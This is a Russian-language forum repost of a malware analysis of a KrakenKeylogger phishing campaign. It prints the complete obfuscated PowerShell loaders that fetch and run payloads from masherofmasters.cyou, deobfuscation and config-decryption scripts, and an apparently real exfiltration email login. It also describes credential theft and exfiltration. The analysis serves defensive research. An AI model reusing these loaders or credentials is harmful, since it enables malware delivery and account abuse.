Кракен - обитатель морских глубин

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Оригинал - hxxps://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/#kraken-configs


Спойлер: Содержание
Вступление
Фишинг
Анализ LNK
Инструмент LEcmd​
Сценарий PowerShell'а​
se1.hta
.NET Загрузчик
Этап 1​
Этап 2​
Payload Kraken'а
Конфигурации Kraken'а​
Пользовательские команды​
Возможности по сбору данных​
Эксфильтрация​
Действия после эксфильтрации​
IOC's
Резюме
Часть 2

Вступление
В первой части мы рассмотрим недавнюю фишинговую кампанию, в рамках которой была доставлена неизвестная ранее вредоносная программа "KrakenKeylogger".

Фишинг
Письмо, отправленное жертве, является обыкновенным вредоносным письмом с прикрепленным архивом:
1.png



Архив представляет собой .zip архив, содержащий .lnk файл:

2.png




Анализ LNK
Инструмент LEcmd


Для анализа файла .lnk я использую инструмент LeCMD. С помощью этого инструмента мы можем увидеть, что .lnk выполняет PowerShell.exe вместе с аргументом:

3.png



Сценарий PowerShell'а

Давайте рассмотрим сценарий:

Код: Скопировать в буфер обмена
Код:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0;
function nvRClWiAJT($OnUPXhNfGyEh){
    $OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')
};

function sDjLksFILdkrdR($OnUPXhNfGyEh){
    $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh;
    for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){
        try{
            $zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)
        }
        catch{
            $zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)
        }
    };
    $zRavFAQNJqOVxb
};

$NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht';
$cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1];
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing;
[IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl;
sleep 3;
rm $cDkdhkGBtl;

Сценарий создаст новую строку, которая будет URL'ом для следующего payload'а. Сценарий возьмет обфусцированную URL строку и деобфусцирует ее в несколько этапов:
  1. Строка будет перевернута с помощью функции nvRClWiAJT.
  2. Цикл for будет итерировать перевернутую строку и перескакивать через каждые 2 символа.
  3. На каждой итерации 2 символа будут снова перевернуты, а на заключительной итерации последний символ будет также перевернут, однако это не даст никакого эффекта.
Ниже представлен короткий сценарий на python'е, который выполняет этот процесс:

Python: Скопировать в буфер обмена
Код:
input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1]
output_string = ''

for i in range(0, len(input_string), 2):
    try:
        tmp = input_string[i] + input_string[i + 1]
        output_string += tmp[::-1]
    except:
        output_string += input_string[i]

print(output_string)

https://masherofmasters.cyou/chin/se1.hta

se1.hta
Полученный payload будет представлять собой еще один сценарий powershell'а:

Код: Скопировать в буфер обмена
Код:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted

function WQgtWbWK($FL, $i){
    [IO.File]::WriteAllBytes($FL, $i)
};

function APcZNMgjQ($FL){
    if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
        Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL
    }else{
        Start-Process $FL
    }
};

function laiLJMT($eh){
    $LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065));
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $i = $LM.DownloadData($eh);
    return $i
};

function QXUpF($P){
    $n=4949;
    $s=$Null;
    foreach($WK in $P){
        $s+=[char]($WK-$n)
    };
    return $s
};

function deaNPih(){
    $AVYABiApT = $env:APPDATA + '\';
    $XdOFJCmMx = laiLJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050));
    $qNfQDXYlR = $AVYABiApT + 'se1.exe';
    WQgtWbWK $qNfQDXYlR $XdOFJCmMx;
    APcZNMgjQ $qNfQDXYlR;;;;
}

deaNPih;

В сценарии есть несколько обфусцированных строк, которые деобфусцируются с помощью функции QXUpF, для чего нужно просто перебрать каждое число и вычесть из него 4949. Ниже представлен короткий сценарий, который деобфусцирует эти строки и выведет их в открытом виде:

Python: Скопировать в буфер обмена
Код:
stringsList = [[4995,5049,5057,5057],[5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050],[5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065],[5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050]]

for string in stringsList:
    tmp = ''
    for char in string:
        tmp += chr(char - 4949)
    print(f'[+] - {tmp}')

Код: Скопировать в буфер обмена
Код:
[+] - .dll
[+] - rundll32.exe
[+] - Net.WebClient
[+] - https://masherofmasters.cyou/chin/se1.exe

Сценарий загрузит другой файл с того же домена, который ранее использовался для получения файла .hta в предшествующем сценарии powershell'а.

.NET Загрузчик
Этап 1


Найденный исполняемый файл (se1.exe) представляет собой исполняемый файл .NET:

4.png



Загрузчик расшифрует встроенный ресурс DataBasePracticalJob с помощью алгоритма шифрования RC2, ключом для которого будет хэш-значение MD5 захардкоженной строки QEssDJZhQnLywDnJGpBEr (интересно то, что хэширование применяется к строке после кодирования ее с помощью BigEndianUnicode, 0x00 добавляется в виде суффикса к каждому байту). Ниже представлена схема процесса расшифровки:

5.png



Вы можете использовать данный рецепт для CyberChef'а, чтобы легко вычислить хэш MD5. Затем, воспользовавшись расшифровкой RC2 в CyberChef'е, мы также сможем извлечь данные 2-го этапа:

6.png



Этап 2

Второй этап - это .NET DLL, которая будет вызвана исполняемым файлом из первого этапа.
DLL будет вызвана своим первым публичным экспортируемым методом, которым является syncfusion:

7.png



Во второй незнакомой DLL будет 2 встроенных ресурса, которые будут расшифрованы, первый - SeaCyanPul будет .DLL, отвечающая за внедрение финального payload'а в RegAsm.exe (не буду сейчас вдаваться в подробности, но 3-я стадия будет размещена на Malware Bazaar).
Второй ресурс UnknownDetails будет нашим финальным payload'ом, который будет расшифрован с помощью простого алгоритма шифрования AES-ECB без IV, ключом в данном случае будет sha256 пустого значения:

8.png



9.png



Как я уже писал выше, payload будет внедрен в RegAsm.exe

Payload Kraken'а
Payload Kraken'а - 32-битный двоичный файл .NET, поэтому мы можем использовать DnSpy для изучения его функциональных возможностей.

Конфигурации Kraken'а

Конфигурации Kraken'а хранятся в .cctor главного класса:

10.png



Некоторые параметры зашифрованы с помощью алгоритма шифрования DES-EBC без IV, ключом является MD5 хэш заранее настроенной строки, в данном случае: swCpiTiAhkkEpyDZTnAGhOBZpr, Ниже представлен короткий сценарий на python'е, который расшифрует строки конфигурации для нас:

Python: Скопировать в буфер обмена
Код:
import malduck, base64
from Crypto.Cipher import DES
encryptedStringsDict = {
    'PersonalEmail': 'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9',
    'PersonalEmailPassword': 'lNI13bp6TxER2sT4YYxfjw==',
    'PersonalEmailHost': '6pvSg6TWhxedDZq2k3/l06fwica30Jlg',
    'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP',
    'PersonalEmailPort': 'VqONpyzLqFY=',
    'PersonalHostLink': 'EdrE+GGMX48=',
    'PersonalHostPassword': 'EdrE+GGMX48=',
    'PersonalHostUsername': 'EdrE+GGMX48=',
    'TheTelegramToken': 'EdrE+GGMX48=',
    'PersonalTeleID': 'EdrE+GGMX48='
}

md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8]
for k,v in encryptedStringsDict.items():
    des = DES.new(md5hashKey, DES.MODE_ECB)
    decVal = des.decrypt(base64.b64decode(v))
    print(f'[+] {k} - {decVal.decode()}')

Код: Скопировать в буфер обмена
Код:
[+] PersonalEmail - onuma.b@thereccorp.com
[+] PersonalEmailPassword - O@1234
[+] PersonalEmailHost - mail.thereccorp.com
[+] TheSMTPReciver - jbs.hannong@gmail.com
[+] PersonalEmailPort - 587
[+] PersonalHostLink
[+] PersonalHostPassword
[+] PersonalHostUsername
[+] TheTelegramToken
[+] PersonalTeleID

Итак, теперь у нас есть конфигурация Kraken'а, давайте перейдем к обзору некоторых возможностей:

Пользовательские команды

Kraken имеет несколько функций, которые могут выполняться (только если пользователь вредоносной программы указал их в процессе компиляции стаба), к примеру:
  • TimeToRun
  • LoadWeb
  • Disable_Task
  • Disable_CommandPrompt
  • Disable_Regis
  • ProcessKiller
11.png



Ничего особенного здесь нет, вероятно, некоторые методы закрепления/проверки VM.

Возможности по сбору данных

Kraken действует привычным способом кражи данных, похищая учетные данные локальной почты Outlook, Foxmail, ThunderBird.

12.png



Он будет искать учетные данные в данных браузерах:
  • Google Chrome
  • QQ Browser
  • Vivaldi Browser
  • Chromium Browser
  • Cent Browser
  • Chedot Browser
  • 360Browser
  • Brave
  • Torch
  • UC Browser
  • Blisk
  • Opera
  • Avast Browser
  • Edge
  • Google Chrome Canary
  • Firefox
  • CocCoc
  • Citrio Browser
  • CoolNovo
  • Epic Privacy Browser
Kraken также будет искать учетные данные FileZilla

13.png



Эксфильтрация

Kraken позволяет осуществлять эксфильтрацию через:
  • FTP
  • SMTP
  • Telegram Bot
FTP

14.png



SMTP

15.png



Telegram Bot

16.png



Действия после эксфильтрации


После завершения процесса кражи Kraken автоматически запустит процесс кейлоггера + захват скриншотов с компьютера жертвы:

17.png



IOC's
Резюме
В данном посте я рассказал о новой вредоносной программе для кражи данных/получения нажитий клавиш на базе .NET, о том, как она была использована в фишинговой кампании, а также о процессе загрузки/внедрения, включая обзор возможностей вредоносной программы и извлечение конфигурации.

Часть 2
Во второй части я расскажу о процессе поиска угроз, о том, почему вредоносные программы были помечены ошибочно, и как мне удалось найти больше образцов, которые позволили подтвердить мои выводы.
 
Сверху Снизу